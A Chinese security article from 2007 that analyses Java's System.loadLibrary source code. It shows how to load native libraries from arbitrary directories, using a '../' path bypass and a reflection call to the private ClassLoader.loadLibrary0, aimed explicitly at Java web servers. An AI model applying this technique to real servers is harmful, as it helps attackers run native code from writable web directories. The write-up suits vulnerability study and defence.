0day-java加载任意目录库文件(java load dynamic library from any path)

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0day-java加载任意目录库文件(java load dynamic library from any path)

来源：I.S.T.O 作者：kj021320 发布时间：2007-10-11

TEAM : I.S.T.O
AUTHOR : kj021320
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通常我们采用JAVASE API的局限性太大！例如只提供TCP/UDP以上的协议封装不能获取更多硬件设备信息,对不同系统的特性访问(如win的注册表)等
为了摆脱这些,SUN-JAVA提供了类跟本地系统的另一种桥梁 JNI(java native interface)中文就是JAVA本地接口,在WIN系统上面就是采用DLL文件而*nix就是SO文件
而编写好特定的 DLL/SO 文件以后我们需要通过 System.loadLibrary 对文件进行加载而且官方也是这样说必须确保库文件的位置在类路径中，从而确保 JVM 可以访问该库文件
对 System.loadLibrary 方法进行审核后,发现没对路径进行过滤,可以加载任意目录的库文件~而对于JAVA-WEB安全来说,这个问题更有利用价值！
库文件不需要放在容器的类路径而加载,因为一般安全的网站,容器的类路径目录都是只读,只有WEB目录可写...

现在JAVA类路径在 f:\kj021320\jproject\ 下而且有
kj021320.class #类含有本地方法有静态代码域
public static native String getISTO();
static{
System.loadLibrary("../../../kj021320");
}

而我们在跟目录 f:\ 下有
kj021320.dll #库文件对kj021320.class 本地方法的实现
同样可以加载动态连接库

下面我们对它的JAVA源代码进行分析研究
首先是System类的 loadLibrary 静态方法发起的跟踪以下代码

public static void loadLibrary(String libname) {
Runtime.getRuntime().loadLibrary0(getCallerClass(), libname);
}

看此是调用了 Runtime类的 loadLibrary0 方法~ 把调用此方法的类名字以及 lib名字传进去,我们再往这个方法进行跟踪
Runtime类的
synchronized void loadLibrary0(Class fromClass, String libname) {
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkLink(libname); //检查是否能调用这个库文件名字
}
/*
重点来了~注意看下面的代码他对路径进行过滤了！可惜！win系统中
File.separatorChar 是 \ 我们可以用 / 来跳回上一层目录绕过他的验证
那*nix 系统呢？不用急我们继续往下面看

*/
if (libname.indexOf((int)File.separatorChar) != -1) {
throw new UnsatisfiedLinkError("Directory separator should not appear in library name: " + libname);
}
//这里又调用了ClassLoader 的loadLibrary方法我们继续追踪进去
ClassLoader.loadLibrary(fromClass, libname, false);
}

ClassLoader类的
//这里代码有点多
static void loadLibrary(Class fromClass, String name,boolean isAbsolute) {
//首先判断我们上面是否有传一个类进来~~ 就是到底是哪个类调用加载库的方法就把那个类传进去所以
//fromClass 大多不会为null

ClassLoader loader = (fromClass == null) ? null : fromClass.getClassLoader();
//这里判断系统的类库路径
if (sys_paths == null) {
usr_paths = initializePath("java.library.path");
sys_paths = initializePath("sun.boot.library.path");
}
//判断路径是不是绝对的！要是绝对路径的就直接 new File() 看到了吗？没有对name再次过滤
//汗~~ 又调用 loadLibrary0 这个方法！哎！嵌套还真多
if (isAbsolute) {
if (loadLibrary0(fromClass, new File(name))) {
return;
}
throw new UnsatisfiedLinkError("Can't load library: " + name);
}
if (loader != null) {
String libfilename = loader.findLibrary(name);
if (libfilename != null) {
File libfile = new File(libfilename);
if (!libfile.isAbsolute()) {
throw new UnsatisfiedLinkError("ClassLoader.findLibrary failed to return an absolute path: " + libfilename);
}
if (loadLibrary0(fromClass, libfile)) {
return;
}
throw new UnsatisfiedLinkError("Can't load " + libfilename);
}
}
//这里是循环遍历类路径也调用了 loadLibrary0这个方法我们得再次跟踪进去
for (int i = 0 ; i < sys_paths.length ; i++) {
File libfile = new File(sys_paths[i], System.mapLibraryName(name));
if (loadLibrary0(fromClass, libfile)) {
return;
}
}
if (loader != null) {
for (int i = 0 ; i < usr_paths.length ; i++) {
File libfile = new File(usr_paths[i],System.mapLibraryName(name));
if (loadLibrary0(fromClass, libfile)) {
return;
}
}
}
// Oops, it failed
throw new UnsatisfiedLinkError("no " + name + " in java.library.path");
}

//看了以上的代码,很明显了！我们需要再去分析 loadLibrary0这个方法,代码更多了！看来更是重点

private static boolean loadLibrary0(Class fromClass, final File file) {
//判断文件是否存在不存在就退出这个函数返回false
Boolean exists = (Boolean)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new Boolean(file.exists());}});
if (!exists.booleanValue()) {
return false;
}
//以下是获取文件的绝对路径
String name;
try {
name = file.getCanonicalPath();
} catch (IOException e) {
return false;
}
//这句不分析了
ClassLoader loader =(fromClass == null) ? null : fromClass.getClassLoader();
//获取系统本地库的集合
Vector libs =loader != null ? loader.nativeLibraries : systemNativeLibraries;
//下面这个同步操作是为了避免同一个库文件在多线程下加载多次
synchronized (libs) {
int size = libs.size();
for (int i = 0; i < size; i++) {
NativeLibrary lib = (NativeLibrary)libs.elementAt(i);
if (name.equals(lib.name)) {
return true;
}
}
synchronized (loadedLibraryNames) {
if (loadedLibraryNames.contains(name)) {
throw new UnsatisfiedLinkError("Native Library " + name + " already loaded in another classloader");
}
int n = nativeLibraryContext.size();
for (int i = 0; i < n; i++) {
NativeLibrary lib = (NativeLibrary)nativeLibraryContext.elementAt(i);
if (name.equals(lib.name)) {
if (loader == lib.fromClass.getClassLoader()) {
return true;
} else {
throw new UnsatisfiedLinkError("Native Library "+name+" is being loaded in another classloader");
}
}
}
//实例化一个本地库
NativeLibrary lib = new NativeLibrary(fromClass, name);
nativeLibraryContext.push(lib);
try {
//**************正式加载操作 NativeLibrary的load方法实现***********
lib.load(name);

} finally {
nativeLibraryContext.pop();
}
if (lib.handle != 0) {
loadedLibraryNames.addElement(name);
libs.addElement(lib);
return true;
}
return false;
}
}
}

以上 NativeLibrary 类是ClassLoader类的一个内部类最终 load方法也是本地实现具体是JVM内部的！
分析到这里很明显最终我们可以调用loadLibrary0 这个方法来绕过前面一大堆的验证！OK 但是loadLibrary0 是个private方法
一般直接调用不了！对于熟悉JAVA的开发者来说！这个是小事！我们采用reflect 来破解他的权限吧！

下面静态代码实现

static
{
Method llm;
try {
//获取私有的方法 loadLibrary0
llm = ClassLoader.class.getDeclaredMethod("loadLibrary0", new Class[]{Class.class,File.class});
llm.setAccessible(true);//破解权限
llm.invoke(null, new Object[]{你自己的类.class,new File("DLL的绝对路径记得加后缀")});
/*
llm.invoke(null, new Object[]{ISTO.class,new File("/isto.so")});
*/
} catch (Exception e) {
e.printStackTrace();
}
}
这样我们就可以在WEB目录上面放库文件任意加载了

全文完

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